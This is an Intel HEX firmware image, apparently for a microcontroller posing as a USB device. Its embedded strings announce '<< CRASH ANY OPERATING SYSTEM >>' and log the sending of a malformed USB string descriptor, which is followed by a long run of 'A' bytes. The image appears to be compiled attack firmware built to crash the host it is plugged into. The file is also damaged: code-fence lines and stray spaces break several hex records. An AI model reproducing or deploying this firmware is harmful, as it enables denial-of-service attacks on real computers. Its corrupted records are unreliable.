:1011D00002C080E201C08BE227FD8DE2B70190E002
:1011E0000E943009A51438F4B70180E390E00E9412
:1011F00030095A94F7CFAA94F401EA0DF11D8081C9
:10120000B70190E00E943009A110F5CF332009F416
:1012100051CEB70180E290E00E9430093A94F6CFB7
:10122000F7018681978102C08FEF9FEF2C96E2E154
:101230000C94E209FC01059061507040011 0D8F750
:10124000809590958E0F9F1F0895FC01615070400E
:10125000019001 10D8F7809590958E0F9F1F0895EB
:101260000F931F93CF93DF93182F092FEB018B81DF
:1012700081FD03C08FEF9FEF20C082FF10C04E8121
:101280005F812C813D81421753077CF4E881F9810D
:101290009F012F5F3F4F39832883108306C0E88565
:1012A000F985812F0995892B29F72E813F812F5FA1
:1012B0003F4F3F832E83812F902FDF91CF911F913E
:1012C0000F910895FA01AA27283051F1203181F1B8
:1012D000E8946F936E7F6E5F7F4F8F4F9F4FAF4F3E
:1012E000B1E03ED0B4E03CD0670F781F891F9A1F51
```

```
:1012F000A11D680F791F8A1F911DA11D6A0F711D05
:10130000811D911DA11D20D009F468943F912AE010
:10131000269F11243019305D3193DEF6CF010895F8
:10132000462F4770405D4193B3E00FD0C9F7F6CF29
:10133000462F4F70405D4A3318F0495D31FD4052F1
:10134000419302D0A9F7EACFB4E0A6959795879587
:10135000077956795BA95C9F7009761057105089566
:101360009B01AC010A2E0694579547953795279512
:10137000BA95C9F7620F731F841F951FA01D0895AA
:10138000EE0FFF1F0590F491E02D09942F923F92EC
:101390004F925F926F927F928F929F92AF92BF9285
:1013A000CF92DF92EF92FF920F931F93CF93DF9331
:1013B000CDB7DEB7CA1BDB0B0FB6F894DEBF0FBE8E
:1013C000CDBF09942A88398848885F846E847D84DB
:1013D0008C849B84AA84B984C884DF80EE80FD80DD
:1013E0000C811B81AA81B981CE0FD11D0FB6F89453
:0E13F000DEBF0FBECDBFED010895F894FFCF14
:1013FE00120100020000004000000000001010286
:10140E000001120100020000040AD0BEFBE000112
:10141E000102000122034200610064002000042002C
:10142E00410042004500250078002500780025007
:10143E006E00250070001803420041004400200099
:10144E00430030004600460045004500210012001D1
:10145E000002010000400D05570200010102030 1C8
:10146E000902270001010400310705810304040C61
:10147E000705010204000C0705820104000C070099
:10148E000700070020202020202F205F5F5F5F2F20A6
:10149E002F5F20205F5F5F5F205F5F5F5F5F2020B9
:1014AE005F5F5F5F5F20202020202F205F5F5F2F18
:1014BE002F202F5F285F295F5F5F5F2F202F5F5FD9
:1014CE000A0D002020202F202F2020202F205F5FAC
:1014DE00205C2F205F5F20602F205F5F205C2F201D
:1014EE005F5F5F2F5F5F5F5F205C5F5F205C2F2021
:1014FE005F5F2F202F205F5F5F2F202F2F5F2F0A20
:10150E000D0020202F202F5F5F5F2F202F202F20F8
:10151E002F202F5F2F202F202F5F2F20285F5F205F
:10152E0020292F5F5F5F2F205F5F2F202F202F5FDF
:10153E002F202F202F5F5F2F202C3C0A0D00202004
:10154E005C5F5F5F5F2F5F2F202F5F2F5C5F5F2CD5
:10155E005F2F5C5F5F5F5F2F5F5F5F5F2F202020DD
:10156E0020202F5F5F5F5F2F5C5F5F2F5F2F5C5FC1
:10157E005F5F2F5F2F7C5F7C0A0D00203C3C204379
:10158E00485241534820414E59204F5045524154E4
:10159E00494E472053595354454D203E3E0A0D00A7
:1015AE000A3E3E20507265737320627574746F6EBE
:1015BE0020746F207374617274206578656375741E
:1015CE00696F6E2E2E2E0A0D005B44454255475D07
:1015DE00204578656375746520706179 6C6F616400
:1015EE0020300A0D005B44454255475D2009536586
:1015FE006E6420436F6E6669677572617469 6F6E93
:10160E004465736372697074 6F720928696E6465DC
:10161E00783A2569292E2E2E0D0A005B4445425537
:10162E00475D200953656E6420496E74657266616C
:10163E00636520446573637269707 46F72092869FB
:10164E006E746572666163653A2569292E2E2E0DBC
:10165E000A005B44454255475D200953656E642080
:10166E00456E64706F696E74204465736372697041
:10167E00746F720928656E64706F696E743A2569AD
:10168E00292E2E2E0D0A005B44454255475D203C07
:10169E003C70616E6963206D6F64653F3E3E0D0A5E
:1016AE00005B44454255475D2009203E3E20537461
:1016BE0072696E67204465736372697074 6F72200D
:1016CE00726571756573742 02D2073656E64696E15
:1016DE0067206D616C666F726D65642073747269DC
:1016EE006E67212073657475702E7756616C756503
:1016FE004C203D3D2025690D0A00C8034141414162
:10170E00414141414141414141414141414141414141BB
```

```
:10171E00414141414141414141414141414141AB
:10172E00414141414141414141414141414141419B
:10173E00414141414141414141414141414141418B
:10174E00414141414141414141414141414141417B
:10175E00414141414141414141414141414141416B
:10176E00414141414141414141414141414141415B
:10177E00414141414141414141414141414141414B
:10178E00414141414141414141414141414141413B
:10179E00414141414141414141414141414141412B
:1017AE00414141414141414141414141414141411B
:1017BE00414141414141414141414141414141410B
:1017CE004141005B48455844554D505D0A0D00257A
:0617DE003032582000002B
:00000001FF
```